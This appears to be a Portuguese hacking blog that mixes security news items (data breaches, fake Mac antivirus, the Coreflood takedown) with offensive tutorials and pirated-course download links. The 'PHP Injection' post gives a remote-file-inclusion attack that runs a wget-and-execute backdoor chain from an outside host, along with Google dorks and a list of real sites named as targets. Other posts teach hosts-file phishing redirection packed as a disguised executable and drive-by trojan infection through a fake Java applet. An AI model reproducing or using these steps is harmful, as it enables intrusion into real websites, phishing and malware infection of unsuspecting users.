0 Hackers invadem site de produtora de games Square Enix e roubam 25 mil e-mails.

Uma invasão a sites da Square Enix pode ter resultado no roubo de 25 mil endereços de e-mail e 350 currículos a vagas de emprego na empresa, informou a companhia. Os sites do game Deux Ex e da Eidos Montreal foram comprometidos e hackers “picharam” as páginas, deixando mensagens identificando o grupo responsável como “Chippy1337”.

Os responsáveis, porém, seriam uma facção descontente do grupo que recentemente invadiu servidores usados pelo Anonymous. Eles seriam simpatizantes do Anonymous, contrários à invasão dos servidores do “grupo” anônimo, e, por isso, estariam atribuindo a invasão aos seus antigos “colegas”.

Na mensagem deixada na página, os invasores escreveram “hackeado por...” seguido de diversos “nicknames” junto de nomes reais, numa tentativa de atribuir o ataque a pessoas que não tiveram relação com ele.

O jornalista Brian Krebs obteve o que pode ser um registro da troca de mensagens entre os hackers enquanto realizavam a invasão aos sites da Square Enix e também a quem o ataque seria falsamente atribuído. Eles usavam os nicknames “nigg”, “e” e “ev0”.

Segundo a Square Enix, os endereços de e-mail não estavam ligados a nenhuma outra informação pessoal, diferentemente do caso da Playstation Network em que também foram roubados nomes, endereços físicos e outras informações pessoais. Apenas as informações dos candidatos que enviaram currículos estariam completas.

A Square Enix disse já estar tentando informar as pessoas que podem vir a sofrer ataques por e-mail devido à invasão.


Fonte: G1

1 Falso Antivirus para Mac diz que o computador esta infectado.

Empresas de segurança estão alertando para duas novas ameaças para computadores Macintosh, da Apple, com o sistema MacOS X: o antivírus fraudulento “MAC Defender” e um kit para criação de pragas digitais. Os códigos maliciosos funcionam exatamente como os de Windows. O MAC Defender está sendo disseminado junto com os ataques à computadores Windows usando a morte de Osama bin Laden.

O antivírus fraudulento, descoberto pelas empresas de segurança Intego e Kaspersky, funciona exatamente como as pragas semelhantes para Windows. Ele afirma que o computador está infectado e que pode realizar uma limpeza, mas somente se o programa for comprado por, no mínimo, US$ 60. No entanto, o próprio “antivírus” é a praga e as detecções são falsas ou relacionadas a arquivos que ele mesmo criou no sistema.

O usuário pode ser infectado ao procurar imagens de Osama bin Laden em sites de busca. O líder terrorista foi morto neste domingo (1º) em uma operação do exército norte-americano. Usando uma função no Safari conhecida como “Open safe files after downloading”, o arquivo malicioso é capaz de se baixar e executar sozinho, embora ainda precise de permissão do usuário para se instalar. A função é conhecida por ter problemas de segurança desde 2006, mas não foi removida do navegador.

Um golpe semelhante para Mac foi encontrado em 2008, mas a interface gráfica do programa era diferente. O nome “Mac Defender” também é usado por uma empresa, que afirmou não ter nenhuma relação com a praga virtual.

Kit de criação de vírus
A empresa de segurança dinamarquesa CSIS anunciou a descoberta de um possível kit de criação de vírus para MacOS X chamado Weyland-Yutani. O kit consegue criar códigos maliciosos capazes de roubar senhas do Firefox; funções para o Safari devem ser lançadas “em breve”. Segundo a CSIS, os criminosos prometeram versões do mesmo kit para iPad e Linux. O kit estaria sendo vendido por US$ 1 mil.

Considerado livre de vírus durante muito tempo, a primeira praga virtual para MacOS X surgiu só em 2006. Em 2007, o primeiro vírus com intuito financeiro para a plataforma apareceu e foi batizado de RSPlug. Desde então, outras pragas digitais capazes de atacar computadores da Apple aparecem regularmente, embora em número incomparavelmente inferior ao de Windows.

0 Hackers Chineses invadem rede elétrica da Letônia

Um indivíduo usando o nome “Zhang Xinghu” publicou relatos de uma invasão a uma termoelétrica da Letônia operada pela empresa de energia Latvenergo. Ele afirma fazer parte da “Aliança de Hackers Jovens da China” e tentou comprovar seu feito publicando diversas capturas de tela do suposto sistema de controle da usina Riga TEC-2.

1 Vírus no Facebook promete mostrar imagem do usuário no futuro

Esta semana, uma nova praga começou a se espalhar por entre os perfis do Facebook. O anúncio, semelhante aos enviados por aplicativos comuns da rede social, promete mostrar ao usuário uma imagem de como será sua aparência no futuro.

O site de origem do convite é identificado como “jvaging2.info”, e a mensagem acompanha a frase “esta tecnologia de ponto vai lhe mostrar exatamente como sua face ficará no futuro”. Ao clicar no link enviado, o usuário abre as portas para que o vírus se dissemine automaticamente por toda a sua rede de contatos.

Como forma de atrair a atenção das possíveis vítimas, o aplicativo também incluiu a frase “hahah, a minha é hilária!!! Confira a sua :)”, identificada como se fosse um comentário do usuário infectado. Todas as informações são exibidas em inglês, o que facilita a identificação daqueles contaminados.

Até o momento, a praga se limitou a simplesmente se reproduzir através do envio automático de mensagens. Porém, há a possibilidade de que ela comprometa dados pessoais do usuário, incluindo a senha de acesso utilizada.



Leia mais no Baixaki.

0 Formspring é 'central de comando' de novo vírus brasileiro

A rede social Formspring, que permite aos usuários criarem páginas para que outros internautas perguntem qualquer coisa, está sendo usada como centro de controle por vírus brasileiros programados para roubar senhas de banco. A descoberta é do analista de vírus Fabio Assolini, da Kaspersky Lab.

Os comandos na página maliciosa do Formspring estão codificados e não causam nenhum dano ao internauta que vê o perfil – o objetivo é simplesmente servir de ponto de controle para o vírus. Para a maioria das pessoas, os comandos são incompreensíveis. “Quem vê o conteúdo no perfil malicioso não imagina o que pode ser e isso faz com que o perfil fique mais tempo online”, explica Assolini.

Os códigos deixados pelos criminosos nas páginas do Formspring são principalmente endereços dos quais o vírus deve baixar componentes adicionais – “módulos” que acrescentam funções ou modificam o comportamento da praga para mantê-la atualizada. Outra informação que pode ser enviada ao vírus pelo Formspring é o endereço do banco de dados para o qual o vírus deve enviar as informações bancárias coletadas.

Um contador que registra o número de pessoas infectadas pela praga também é acionado pelos comandos.

O analista da Kaspersky afirma que há vantagens para os criminosos usarem o Formspring: o serviço é gratuito, não cai com frequência e, como os comandos estão codificados, ficarão lá por bastante tempo. Mas o novo comportamento do vírus é reflexo de uma tendência. “Os criminosos digitais brasileiros estão percebendo que ter total controle sobre a praga e sobre a máquina da vítima por um longo tempo é mais lucrativo do que simplesmente infectar e roubar os dados apenas uma vez”.

Assolini ainda pensa que, no futuro, os vírus brasileiros também irão formar redes zumbis – uma prática mais comum em outros países da América Latina do que no Brasil.

Procurado pela reportagem, o Formspring ainda não informou se está ciente dos vírus que usam seu serviço como centro de controle. Vale observar, porém, que uso do serviço dessa forma pelos criminosos não torna o uso da rede social mais perigoso – é apenas uma facilidade para os programadores de vírus, que não precisam manter sua própria infraestrutura de controle.

Uso de redes sociais como centro de comando
Pragas brasileiras já usaram outras redes sociais como centro de comando. A prática foi registrada pela primeira vez em 2009 no Twitter, quando perfis maliciosos eram abastecidos com tuites codificados que traziam os comandos para o vírus.

Assim como o trojan que usa o Formspring, essa praga acessava o perfil no Twitter para buscar atualizações e instruções do seu criador.

Fonte: G1

0 FBI consegue autorização para desativar vírus em PCs de vítimas

A justiça norte-americana concedeu ao FBI uma autorização para atuar diretamente nos computadores das vítimas de uma rede zumbi conhecida como Coreflood. A autorização permite à polícia criar um novo servidor de Comando e Controle (C&C) que irá enviar aos sistemas infectados uma ordem para desativar a praga, efetivamente impedindo sua operação, pelo menos até reiniciar o PC.

Esta é apenas a segunda ação do gênero no mundo. A primeira ocorreu na Holanda, quando a polícia colocou nos PCs das vítimas uma página informando que o computador estava infectado. Na ocasião, a ação, que foi contra a rede zumbi conhecida como Bredolab, gerou polêmica – especialistas questionavam a autoridade do Estado para agir diretamente sobre os sistemas das vítimas, sem o consentimento das mesmas.

O mesmo tipo de questionamento está se fazendo agora. Mas a decisão que permite ao FBI enviar os comandos aos vírus também limita a operação aos computadores cuja localização “pode ser razoavelmente determinada como sendo os Estados Unidos”. Isso significa que nada vai mudar para os brasileiros infectados, por exemplo.

“O caso e a ordem são muito interessantes porque demonstram limitações de jurisdição”, comenta o advogado especializado em direito digital Marcel Leonardi. “Do ponto de vista prático, seria muito bom se mundialmente fosse possível alcançar todos os computadores e desativar a praga, mas isso, de fato, poderia ser visto como algo excessivo por não obedecer à soberania dos outros países”, explica.

Leonardi afirma que uma ação semelhante seria possível no Brasil, desde que também seja limitada aos computadores em território nacional. No Brasil, no entanto, os vírus mais comuns são ladrões de senha e a maioria carece de um centro de controle que pudesse ser usado para essas ações.

Para o pesquisador de segurança Ronaldo Castro de Vasconcellos, a ação é bem-vinda. “Ter uma máquina infectada deixou de ser uma questão meramente de desempenho ou de dados perdidos.

Deixando de lado analogias bobas com ciberguerra, de alguns anos para cá, uma máquina infectada ganhou capacidade ofensiva, como juntar-se a um ataque distribuído (DDoS) com motivações comerciais ou ideológicas, por exemplo”, afirma Vasconcellos.

Para o pesquisador, desde que a polícia tenha obtido uma ordem judicial para realizar a tarefa e que o comando enviado às máquinas infectadas se limite ao proposto – desativar o vírus – não há problema.

Há quem questione, porém, argumentando a existência de fatores imprevisíveis que podem fazer com que a desativação do vírus seja nociva ao computador. No entanto, a maioria dos bots que formam as redes zumbis – que permitem ao criminoso controlar todas as máquinas – tem, sim, uma função de autodestruição ou semelhante que muitas vezes não causa danos ao computador e é completamente funcional. Há, porém, funções de autodestruição que servem como “queima de arquivo”, eliminando todos os dados possíveis do disco rígido.

O Coreflood, no entanto, não parece ter essas características. Acredita-se que, em seus 10 anos de operação, o vírus e seus derivados tenham infectado mais de dois milhões de computadores, a maioria deles nos Estados Unidos, e realizado fraudes cujos valores somam US$ 100 milhões.

Polêmica e jurisdição

O caso destaca as limitações do atual sistema judiciário em lidar com problemas cada vez mais globais de forma local, embora também sirva como história de sucesso para novas operações no futuro.

As ações de redes zumbis são globais – um computador infectado no Brasil pode ser usado para um ataque a qualquer outro país do mundo, ou servir como escudo para o verdadeiro criminoso, complicando a realização de investigações – que precisam percorrer diferentes legislações.

No entanto, é pouco provável que isso mude em breve – a internet não parece ter criado nos países a consciência da cooperação, mas sim elevado discussões sobre soberania e o medo de que leis consideradas absurdas em outros países possam vir a valer mundialmente caso essa cooperação seja realizada, ao ponto que mesmo as ações mais bem intencionadas precisam ter seu alcance limitado.

0 O Fim das Dúvidas sobre PHP injection

Bom, muita gente tem duvidas sobre PHP Injection, provavelmente a vulnerabilidade mais comum entre defacers/owners.
A vulnerabilidade acontece por desconhecimento do webmaster, ou por distração, eles colocam 'includes' para ajudar na criação do seu site sem fazer nenhuma verificação das 'strings'
Um exemplo de um site vulneravel, com 3 partes em uma tabela:

include('topo.php');
include('menu.php');
include($page);

Existem várias strings, a mais comum é page..
Então um endereço ficticio: http://www.alvo.com.br/index.php?page=novidades.php
Neste exemplo ele carregaria a página novidades.php do site.. Se ela for vulneravel dá para 'injetar' páginas maliciosas que executam comandos na maquina que roda o site (por isso o nome PHP Injection)

Estarei usando esse script como referencia (chamado de cmd):

http://kmzrox.by.ru/cmd.gif?&cmd=ls
Obviamente você tentaria: http://www.alvo.com.br/index.php?page=h ... if?&cmd=ls
Ops! Se a página for vulneravel ela vai carregar! Se ela funcionar e não estiver em safe mode (uma opção do php.ini) vai listar os arquivos do site (comando ls).
Não é só isso, a partir daqui você usa a sua criatividade, rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Só precisará saber alguns comandos de Linux/FreeBSD/SunOS..

Backdoor: kmzrox.by.ru/r0nin
Para usar coloque no 'cmd' cd /tmp;wget kmzrox.by.ru/r0nin;chmod 777 r0nin;./r0nin
entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo: http://www.alvo.com.br/index.php?page=h ... in;./r0nin

Se tudo ocorrer bem e não tiver firewall agora vá iniciar > executar > telnet http://www.alvo.com.br 1666, pronto, você está na maquina, enjoy! :~)

Para procurar no google as páginas separei uma lista de chaves, lembrando que você pode usar inurl:".pt" (escolhendo a classe do dominio) para procurar páginas somente de um país.

allinurl:".php?page="
allinurl:".php?inc="
allinurl:".php?body="
allinurl:".php?main="
allinurl:".php?pag="
allinurl:".php?p="
allinurl:".php?content="
allinurl:".php?cont="
allinurl:".php?c="
allinurl:".php?meio="
allinurl:".php?x="
allinurl:".php?cat="
allinurl:".php?site="
allinurl:".php?m="
allinurl:".php?do="
allinurl:".php?x="
allinurl:".php?content="
allinurl:".php?pagina="
allinurl:".php?root="
allinurl:".php?include="
allinurl:".php?open="
allinurl:".php?visualizar="
allinurl:".php?conf="

Achará varios sites, a maioria no padrão:

http://www.interreg3c.net/sixcms/list.php?page=home_en 
http://www.ourdocuments.gov/content.php?page=milestone 
http://www.safer-networking.org/index.php?page=mirrors 
http://www.serviceandinclusion.org/inde ... e=nat_conf 

Agora é simples, você tem os sites pra procurar e uma cmd, agora é só ir de página em página substituindo os valores da string page para o cmd que vai usar :}
Você pode utilizar exploits para tentar conseguir root (super user) na máquina, assim ter permissão para fazer TUDO com os sites que estão dentro dela, apagar todos os logs, etc.
Aqui vai uma lista de páginas vulneraveis (depois de ler isso vocês já saberão o que fazer), a maioria está protegida ou com firewall, é só para mostrar o que vai acontecer quando uma página é vulneravel :~)

http://www.imobmarques.com.br/pagina.php?pagina= 
http://www.effectingchange.luton.ac.uk/ ... p?content= 
http://www.tourtrans.ru/index.php?page= 
http://www.iobchody.unas.cz/index.php?page= 
http://www.balustrady.cz/index.php?page= 
http://www.kubela.iglu.cz/index.php?inc= 
http://www.engelking-elektronik.de/index.php?main=valor 
http://www.mob.hu/cgi-bin/index.php?main=valor 
http://www.medianlg.hu/index.php?site= 
http://www.spillo.it/home.php?main= 
http://www.fdf-k22.dk/index.php?main= 
http://www.astro.up.pt/investigacao/con ... .php?page= 
http://www.nyinvestmentproperties.com/index.php?main= 
http://www.timetoupgrade.us/index.php?main= 
http://www.msgames.msu.ac.th/reading.php?page= 
http://www.mobilink.com.tr/index.php?page= 
http://www.slh.org.tw/tw/index.php?page= 
http://www.climb.idv.tw/index.php?page= 
http://www.azsrc.com/index.php?page= 


Páginas com passthru() bloqueados, quando não aparece nada na box são ignorados, pode continuar procurando :B

Fonte: Dark

0 Brincando com o arquivo Host da Vitima

Primeiro vamos a onde esta o arquivo hosts.

Copie e a abra ele em um bloco

embaixo de 127.0.0.1 localhost
adcione o ip da pagina que vc quer direcionar e coloque o endereço da pagina
como no ex:200.176.3.142 http://www.orkut.com

feito isto adcione o arquivo em um winrar

- va na opção sfx
- opções avançadas do sfx

e va prenchendo conforme a imagems

depois e so dar ok
ele vai gerar um executavel em que no propio winrar da a opção de
altera o ícone, mais isto já e outra conversa.

Ao executar ,quando vc digitar o endereço por ex: do orkut
ele vai direcionar para o terra.

Tambem podia redirecionar para a sua fake do orkut ,assim escrevia o endereço verdadeiro e redireçionava para a fake com o endereço verdadeiro hehehe ,para tudo é preçiso imaginação ,pessoal se pensarmos um pouco existe milhares de maneiras de se enganar um utilizador.

0 Hacker deixa nome e e-mail ao invadir site

O site da Rapid Action Battalion (RAB), uma tropa de elite anticrime e antiterror do governo de Bangladesh, foi invadido no dia 5 deste mês por Shahee Mirza, hacker que protestou contra a falta de recursos para o desenvolvimento da tecnologia no país.

Ele e outros 3 comparsas foram presos em menos de 24 horas porque Mirza deixou seu nome e e-mail na página.

0 Serviço de blog gratuito Wordpress sofre invasão de hackers

Invasores conseguiram acesso total a “vários servidores” do serviço de blogs Wordpress, de acordo com um comunicado escrito por Matt Mullenweg, responsável pelo serviço. “Potencialmente qualquer coisa nesses servidores pode ter sido revelada”, escreveu. A Automattic, que opera o serviço, ainda está investigando como a invasão ocorreu e quais dados podem ter sido revelados, mas afirma já ter tomado medidas para prevenir novos incidentes.

Nas palavras Mullenweg, os atacantes conseguiram “acesso root”. “Root” é o nome do usuário administrador de sistemas Unix, normalmente usado em servidores, e é capaz de realizar qualquer tarefa no sistema.

De acordo com as estatísticas do próprio Wordpress.com, o serviço hospeda 19 milhões de blogs.

Códigos do software usado no site teriam sido expostos. Boa parte do Wordpress é código aberto e está disponível para download na internet, mas códigos próprios do Wordpress, que Mullenweg disse serem “sensíveis”, também foram revelados. Códigos de parceiros do WordPress.com também estariam comprometidos.

O site não ofereceu sugestões a seus usuários, além de “sempre usar uma senha forte”, “usar senhas diferentes para sites diferentes” e “se você usou a mesma senha para sites diferentes, troque para algo mais seguro”.

As recomendações não são claras, mas o tom deixa a entender que senhas de usuários poderiam ter sido reveladas, pelo menos parcialmente. Seria recomendável trocar as senhas do próprio WordPress e de serviços em que o usuário usou a mesma senha do serviço de blogs ou que foram ligados com o serviço.

No início do ano, o serviço de hospedagem de programas de código aberto Sourceforge também sofreu uma invasão semelhante.

Fonte: G1

1 Vírus no Facebook infecta mais de 60 mil usuários

Para quem possui uma conta no Orkut, a opção “visualizar quem acessou meu perfil” é mais do que conhecida, permitindo a você controlar sua conta e conferir quem é o bisbilhoteiro (ou amigo) que está acessando as informações da página.

Portanto, nada mais comum do que um aplicativo capaz de executar essa mesma opção no Facebook. Todavia, a empresa de segurança Sophos afirma que o serviço, exatamente com o intuito de oferecer o mesmo serviço do Orkut é, na verdade, um vírus que está se alastrando pela rede social.

O aplicativo “Who Views your profile” já infectou mais de 60 mil contas, que recebiam marcações em fotos e eram convidadas a acessar o link do serviço. A mensagem maliciosa era a seguinte: “OMG. I cant believe this actually works! Now you really can see who viewed your profile!” ou, em uma tradução livre “Meu Deus! Eu não acredito que isso realmente funciona! Agora você realmente pode saber quem visualizou seu perfil!”.

Ao fornecer seu login e senha, você deveria ter acesso ao aplicativo e poderia, enfim, conferir quem havia acessado sua página. Ao invés disso, o aplicativo recolhia informações pessoais, espalhando-se também por sua rede de amigos.

Nunca é demais alertar que você deve ter muito cuidado com os links que aparecem em redes sociais, ainda mais aqueles que você não conhece. Além disso, fique de olho no nome do aplicativo, quem usa o programa e qual mensagem aparece em sua Feed de novidades, para não ser vítima desse tipo de golpe. Pelo menos, o link da "página do programa" não está mais disponível no site do Facebook.

0 Links encurtados [ Perigo Real ]

Exceto os muito recém-chegados à rede, todo internauta sabe que não deve clicar em anexos ou links que não pediu, que deve desconfiar de mensagens ou sites que prometem vídeos inéditos de um fato muito noticiado (tsunami no Japão, por exemplo), ou cenas íntimas de celebridades. Ainda mais quando para assistir ao vídeo é preciso baixar algo. São estratégias usadas por golpistas para instalar códigos maliciosos no computador ( popularmente chamados “vírus”, para horror dos técnicos), no intuito de roubar informações bancárias e de cartão de crédito ou assumir o controle do seu computador, usá-lo em redes de computadores zumbis (botnets) e aplicar outras fraudes.

Se a mensagem, link, arquivo, vem de um estranho, é praticamente certo tratar-se de falcatrua. Mas e quando vem de um conhecido? Segundo a Symantec, fabricante da linha Norton (programas de segurança), o internauta é menos cuidadoso e tende a confiar no arquivo enviado por uma pessoa conhecida.

Essa é uma das razões para a empresa prever mais ataques com alvos específicos, como sites muito visitados, ou redes sociais. De acordo com a Symantec, os ataques na Web cresceram 93% entre 2009 e 2010(e 42% em dispositivos móveis), impulsionados principalmente pelos encurtadores de URL, sites como bit.ly, migre.me e tantos outros que transformam endereços quilométricos em outros curtinhos. Quando há limitação de espaço, como no Twitter (140 toques), isso é essencial. O problema é: o endereço curto pode mascarar uma ameaça, como um site fraudulento que tentará invadir o computador ou induzir o internauta a permitir a invasão.

Segundo a Symantec, em 2010 foram compartilhados nas redes sociais milhões de links que levavam a fraudes “disfarçados” por encurtadores, o que aumentou significativamente o sucesso dos ataques. Que fazer, então? Manter um antivírus atualizado é a mais básica das recomendações. Há opções gratuitas (AVG, Kaspersky, Avast!), que costumam funcionar melhor em conjunto. Tecnologias da Symantec (Norton Safe Web) e da McAfee (McAfee Site Advisor) há algum tempo verificam de graça se há riscos por trás de um link, mas é preciso estar sempre muito atento antes de clicar.

0 Chefe de segurança do Xbox Live tem conta hackeada

Diretor de política e responsável por banir da rede Xbox Live aqueles que trapaceiam em games on-line, Stephen Toulouse postou no Twitter neste domingo (3) que seu domínio pessoal Stepto.com estava comprometido. A informação confirma um vídeo no YouTube que mostra a conta de Toulouse na rede Xbox Live sendo modificada.

O jovem conta no vídeo que usou engenharia social no provedor de hospedagem. Se isso for verdade, ele também obteve o acesso a todos os e-mails de Toulouse, permitindo o roubo da conta Xbox Live.

Antes de ser o chefe da segurança dos games on-line da Microsoft, Toulouse era o diretor de relações públicas do Security Response Center, a equipe responsável pela produção das atualizações do Windows.

O G1 entrou em contato com a Microsoft pedindo mais informações. Até o momento, a empresa não confirmou o ataque. Toulouse já recuperou a titularidade de seu domínio.
Descuido e motivação

O invasor identifica a si mesmo como Predator. No vídeo do YouTube em que descreve o ataque, ele deixa diversas informações suas aparecerem em janelas de mensagens instantâneas e no Facebook. Comentaristas do YouTube postaram o que pode ser o seu endereço residencial.

“Amo quando dizem que as contas do Xbox Live são seguras e que a única maneira de roubá-las é quando a vítima fornece o usuário e a senha. Como se alguém como o Stepto iria simplesmente dar a senha e o usuário para alguém”, escreveu o jovem na descrição do vídeo. “Eu ofereci minha ajuda à Xbox Live, mas eles não quiseram”.

Predator teria sido banido 35 vezes do Xbox Live, o que o motivou a fazer o ataque. Ele diz também que já teria hackeado contas do Xbox Live mediante pagamento, e faz a mesma oferta na descrição do vídeo.

Fonte: G1

1 Infectando por URL

Explicando:
- A vítima entrará no seu site. Logo após, ela receberá uma falsa notificação de "java".
- Quando ela clicar na paradinha que aparece, seu server estará sendo executado.
- Sem que ela perceba!
Bom, vou tentar encurtar o tutorial, para evitar futuras complicações.

Ferramentas necessárias:
- Um Trojan: Escolha um trojan qualquer de sua preferência.
- Um host que aceite .exe ( qualquer um do seu criterio
- Um Script em Html
- Um falso Certificado de java
- E uma animação em Flash (Opcional)

Baixe as três últimas ferramentas aqui:

Download

Com todas as ferramentas em mãos, vamos as configurações:
- Baixe os Scripts acima e abra o arquivo "index.html" com o Bloco de Notas.
(Clique com o botão direito >> Abrir Com >> Bloco de Notas)
- Localize a parte do código que contém isso:


( retire os .(pontos) de dentro das tags de abertura e fechamento )
<.applet archive="link.jar" code="Inicio.class" height="10" name="link" width="1">
<.param name="url" value="site/server.exe" />
<./applet>


ATENÇÃO: A parte que está destacada no código acima, será o endereço do seu server. Para substituir, você terá de hospedar seu server no site que eu indiquei acima.
Depois pegue o link hospedado e substitua pelo que está aí e salve assim:
index.html
Todos os Arquivos
- Agora já pode hospedar todos que você baixou!
Pronto... O Script já está configurado.

Creditos: Sindicato
Tutorial: Milorde

0 Ataque hacker atinge um milhão de páginas na internet

Mais de um milhão de páginas da internet foram afetadas por um sofisticado ataque hacker que inseriu códigos em sites, redirecionando usuários para uma operação fraudulenta de venda de software.

O ataque chamado de "inserção em massa", que é o maior do seu tipo já visto segundo especialistas, conseguiu inserir códigos maliciosos em sites ao obter acesso aos servidores que rodavam sua base de dados, de acordo com a companhia de segurança em tecnologia que descobriu o ataque.
A Websense, que encontrou evidências do ataque mais cedo esta semana, o apelidou de "LizaMoon", nome do site para o qual o código redirecionava usuários inicialmente.

Usuários podem ser que estão sendo redirecionados quando tentam visitar um dos endereços afetados, e podem fechar a janela sem maiores prejuízos, afirmou o administrador de segurança em pesquisas da Websense Patrik Runald.

O ataque afetou pequenos sites em larga escala, disse ele, mas não há indicadores de que páginas corporativas ou sites de governos tenham sido comprometidos.
O ataque pode levar algum tempo para ser combatido, alertou Runald, pois primeiro pesquisadores precisam identificar o software que foi comprometido, e as operadoras de websites precisam instalar softwares atualizados.

1 Liberada Atualização de Segurança para Softwares da ADOBE

Recomendo a todos que ativem a atualização automática dos programas adobe reader X  e adobe Acrobat.

Abaixo segue um texto publicado no site Baixaki que tem mais explicações:


A Adobe liberou nesta terça-feira (22 de março) uma correção de segurança para uma falha crítica de segurança no Flash Player. O problema, que tinha impacto sobre o arquivo “authplay.dll”, afetava a versão 10.2.152.33 (e anteriores) do programa trazia riscos a usuários do Windows, Linux, Mac OS X, Solaris e Android.
Para instalar a correção, o usuário precisa possuir na máquina uma cópia do Adobe Acrobat ou Adobe Reader X. Em seguida, basta abrir o programa e aguardar alguns instantes enquanto a atualização automática realiza o download da atualização que corrige a falha de segurança presente nos softwares (incluindo o Flash Player).
Usuários do Chrome já contavam com uma solução para o problema, desenvolvida pela Google para corrigir brechas de navegação. A solução da companhia não entra em conflito com o patch da Adobe, que tem como vantagem oferecer segurança a concorrentes como o Mozilla Firefox, Opera e Internet Explorer.
Segundo a Adobe, a falha de segurança estava sendo explorada através de um arquivo SWF incorporado a uma planilha do Microsoft Excel (XLS) distribuída por email. Ao abrir o arquivo, o usuário abria as portas para que outras pessoas tomassem controle da máquina e usassem os recursos do sistema operacional em proveito próprio.


Leia mais no Baixaki: http://www.baixaki.com.br/tecnologia/9255-adobe-corrige-falha-de-seguranca-no-flash-player.htm#ixzz1HLI6LSDT

1 1000 Cursos da Digerati [ Muito Bom ]

1000 cursos e apostilas de informática, envolvendo várias áreas, além de vídeo aulas sobre montagem e manutenção, aplicativos para benchmark, overclock, hardware e dois capítulos do livro "Dossiê Hardware" para a leitura.


# Análise de Sistemas 45 Apostilas -> Auditoria em Informática, Indução a Ciência da Computação, Sistemas Básicos, Teste de Software Estratégias e Técnicas, Projeto de Sistemas de Software I, II, III, IV, V, VI, VII , métricas e etc;

# Banco de Dados 60 Apostilas -> Access, Banco de Dados Delphi, Banco de Dados 4 Módulos, Crystal Reports 6.0, Estrutura de Dados, Interbase 5.6 e 6.0, PHP Mysql, Instrodução ao MySql, Comandos SQL em Oracle, Oracle Linux, SQL Server 6.5, Contrução de Comandos em SQL, Dicas Oracle SQL, Principais Instruções em SQL e etc;

# Gráficos 164 Apostilas -> 3DStudio, 3DStudio Max, 3DViZ, AutoCAD Básico, CAD, Curso de AutoCAD 64 Aulas, Curso de CAD 3D 10 Aulas, Lições de Computação Gráfica, CorelDraw 8, Efeitos no PhotoPaint, Conceitos de Cores, Editoração Eletrônica, Fotografia Digital e Foto Jornalismo, Freehand 8, Manipulação 3D, Fundamentos Gráficos, Lições e Tutoriais GIMP, OpenGL, Programação Open, Lições Zbrush e etc;

# Hardware 30 Apostilas -> Disco Rígido, Expandindo a Memória, Funcionamento Interno, Gabinetes, Manuseio de Equipamentos, Montagem, Placas de Vídeo, Placa-Mãe, Sistemas de Controle, Barramentos I e II, CD-ROM, Como Montar um PC, BIOS Setup, Evolução dos Processadores e etc;

# Linux 9 Apostilas -> Comandos Básicos do Linux, Debian GNU, Editor de Textos, Linux Passo a Passo 1 e 2, Programação C-Shell, Samba e Samba Avançado e Apostila de Linux;

# Programação 219 Apostilas -> Algoritmo, Algoritmo Estruturado, Lições ASP, Assembly 26 Capítulos, Assembly para Iniciantes, Apostila C, C++, Aplicações Gráficas 3D em C, Curso de C, 47 Tutoriais em C, Instrodução ao C, Uso de CGI, Segurança em CGI, Clipper, Delphi , Curso Delphi, Recursos do Delphi, Fundamentos Object Pascal, Produção de DLL em Delphi, Programação em JAVA, Certificação em Java, Java Swing, Java Orientado a Objetos, 300 Idéias para Programar, Programação Estruturada, Realidade Virtual, Visual Basic 90 Dicas, VBScript, Desenvolvendo aplicações em Visual Basic, Instrodução ao Visual Basic 5, Visual Basic 5 Avançado, Visual Basic 6 para VB .NET, Computação de Alto Desempenho, Ferramentas CASE e etc;

# Redes 14 Apostilas -> Configurando Rede Local, Montando Pequenas Redes, Arquitetura TCP-IP 1 e 2, Cabeamento Estruturado, Cabeamento, Especificação Técnica, Gerência Integrada, Introdução SDH, Introdução, Segurança, TCP-IP Estudo Geral, Treinamento em Redes, TCP-IP;

# Webdesign 318 Apostilas -> Director, Director 7, Dreamweaver - Comandos, Dicas, Formulários, Login, Navigation Bar, Templates e etc, Fireworks - Botões Aqua, Criando Logomarca, Criando Menu, Curvas, Fatiando um Layout, Pixel Art, Texto Linear, Sombra Perspectiva e etc, Flash - ActionScript 1 e 2, Efeitos, Guia Passo a Passo, Menu Seguindo o Mouse, Prototype, Standards ActionScript, Variáveis com JavaScript e etc, FreeHand, Como Construir HomePage, WebDesigner, PageMaker, Photoshop - Palheta Toolbox, Palheta Navigator, Background, Botão 3D com textura 3D, Canais do Photoshop 1,2,3,4 ; Colorindo Imagens PB, Como fazer Brushes, Contornos a Mão Livre, Criando GIF Transparente, Criando Densidade em Imagens, Efeito Metal Líquido, Efeito Fogo, Efeito Reflexo, Efeito Psicodélico, Entalho, Logotipo em Background, Montagem, Neon, Plasma, Removendo Olhos Vermelhos, Suavizando Bordas, Textos Cromados, Tutorial, Usando as Barras dos Menus, Usando a Régua, Transformando uma foto em desenhos de linhas e etc;

# WebMaster 143 Apostilas -> ASP, CGI Pearl, Curso ASP, Programação para Internet - ASP, CSS, DHTML, Cold Fusion Módulo 1 e 2, Eudora, Noções Básicas, Guia de Relatórios Via WEB, OBDC, PHP, Segurança para Internet, WebMaster, XML, Zone Alarm, Apostila HTML, HTML para iniciantes, HTML Completo, Várias Dicas JavaScript, JSP, Instalando Servidor de JSP, Instalando Servidor de JSP no Linux, 17 Lições de Pearl, Tutorial Perl, Aplicações Web em PHP, 4 Módulos de PHP, PHP Avançado, WML e etc.



Nome do Autor: digerati
Editora: digerati
Qtd. de Páginas: '
Formato do Arquivo: .rar
Gênero: informática
Idioma: Português-br
Tamanho: 690 MB

DOWNLOAD
http://www.megaupload.com/?d=PII27MZ3

1 CURSOS GEEK | Mais de 200 Cursos Excelentes

Uma excelente compilação de cursos da Revista Geek, muito difícil de se achar na internet. Compreende mais de 200 cursos, dentre eles tem cursos de Programação, vários códigos-fonte, cursos de Hardware, Hacking, Cracking e muito mais. Insdispensavel para qualquer pessoa que queria se integrar, ou ate mesmo se aperfeiçoar no mundo Geek. O curso é bem organizado, com um interface interativa e facil uso.




Parte1: http://w17.easy-share.com/1701218367.html


Parte2: http://w17.easy-share.com/1701230065.html


Parte3: http://w17.easy-share.com/1701230066.html


Parte4: http://w17.easy-share.com/1701230067.html

0 Wireshark Bootcamp Formação Universitária (4 cursos) SUPERPOST

Wireshark Bootcamp Formação Universitária (4 cursos) | 3,28 GB
Gênero: E-learning

Cursos de Voice-over-vídeo (média de 7 horas cada)
Contém palestras, exercícios de laboratório, rastreamento de arquivos e materiais de referência.

Instrutor: Laura Chappell

Informações sobre o Curso:

WSU01: Wireshark Funcionalidade e Fundamentos
WSU02: TCP / IP Network Analysis
